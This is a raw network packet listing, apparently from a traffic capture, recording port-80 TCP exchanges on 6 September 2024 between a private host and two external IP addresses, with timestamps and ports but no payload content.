Sep 6, 2024 08:17:06.338100910 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.338551044 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338568926 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338582039 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338593006 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338608027 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.338608027 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.338627100 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338639021 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.338665009 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.338699102 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338710070 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338718891 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338735104 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338743925 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.338747025 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338757038 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338757992 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.338785887 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.338821888 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.338846922 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338856936 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338866949 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338882923 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338886023 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.338887930 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338898897 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338908911 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338911057 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.338920116 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338929892 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338933945 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.338939905 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.338958025 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.338978052 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339026928 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339039087 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339047909 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339057922 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339067936 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339067936 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339077950 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339087963 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339096069 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339112043 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339118004 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339123011 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339133024 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339138031 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339159012 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339160919 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339171886 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339181900 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339184046 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339204073 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339235067 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339256048 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339267015 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339277983 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339287996 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339298010 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339307070 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339329958 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339338064 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339348078 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339359045 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339370012 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339380026 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339380980 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339392900 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339395046 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339405060 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339411974 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339413881 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339425087 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339437008 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339453936 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339459896 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339464903 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339474916 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339487076 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339507103 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339513063 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339518070 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339526892 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339541912 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339551926 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339551926 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339565039 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339593887 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339627981 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339643002 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339653969 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339663982 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339673042 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339677095 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339682102 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339687109 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339718103 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339719057 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339729071 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339740038 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339749098 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339771032 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339777946 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339792967 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339803934 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339812994 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339823961 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339828968 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339834929 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339844942 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.339850903 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.339876890 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.341276884 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.344697952 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.344707012 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.344717026 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.344738007 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.344750881 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.344769955 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.344786882 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.344798088 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.344806910 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.344819069 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.344825983 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.344846010 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.344860077 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.344944000 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.344960928 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.344971895 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.344981909 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.344993114 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.345000029 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.345016003 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.345019102 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.345027924 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.345041990 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.345050097 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.345053911 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.345081091 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.345093966 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.345104933 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.345104933 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.345122099 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.345130920 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.345134974 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.345150948 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.345155954 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.345161915 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.345170975 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.345190048 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.345211983 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.346014023 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364121914 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364151001 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364161015 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364173889 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.364176989 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364187956 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364197016 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.364226103 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364227057 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.364236116 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364253044 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364263058 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364264011 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.364273071 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364286900 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.364312887 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.364412069 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364459038 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.364461899 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364473104 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364487886 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364499092 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.364523888 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.364552975 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.364578962 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364589930 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364608049 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364626884 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.364638090 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364650011 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364660978 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364670038 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.364677906 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364682913 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.364691019 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364701986 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.364706039 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.364732027 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.364759922 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.366556883 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.366568089 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.366580009 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.366591930 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.366606951 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.366640091 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.366643906 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.366652012 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.366661072 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.366682053 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.366698027 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.366703987 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.366736889 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.366756916 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.366769075 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.366806030 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.366827965 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.366838932 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.366849899 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.366859913 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.366871119 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.366877079 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.366887093 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.366888046 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.366898060 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.366908073 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.366919041 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.366924047 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.366960049 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.366985083 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367001057 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367012978 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367012978 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367023945 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367047071 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367058039 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367069960 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367079973 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367084026 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367091894 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367115974 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367134094 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367145061 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367147923 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367161036 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367171049 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367182970 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367193937 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367203951 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367204905 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367216110 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367232084 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367259026 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367280960 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367291927 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367300987 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367322922 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367325068 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367335081 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367341042 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367346048 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367367983 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367403984 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367419004 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367429972 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367439985 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367456913 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367472887 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367479086 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367490053 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367500067 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367516041 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367552042 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367568970 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367579937 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367589951 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367602110 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367605925 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367614031 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367646933 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367675066 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367686987 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367696047 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367702007 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367707014 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367716074 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367718935 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367743969 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367763996 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367774010 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367774963 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367784023 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367805004 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367805958 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367819071 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367820978 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367830038 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367850065 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367880106 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367885113 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367897034 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367908001 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367918015 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367918968 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367929935 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367930889 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367942095 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367954969 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367980003 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.367980003 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.367990971 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.368002892 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.368012905 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.368027925 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.368036985 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.368065119 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.368133068 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.368144035 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.368154049 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.368176937 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.368177891 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.368190050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.368201017 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.368216991 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.368227959 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.368228912 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.368240118 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.368252993 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.368254900 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.368266106 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.368277073 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.368285894 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.368320942 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.368330002 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.368340969 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.368381977 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.370104074 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.370115042 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.370146990 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.370153904 CEST	49734	80	192.168.2.4	176.113.115.33
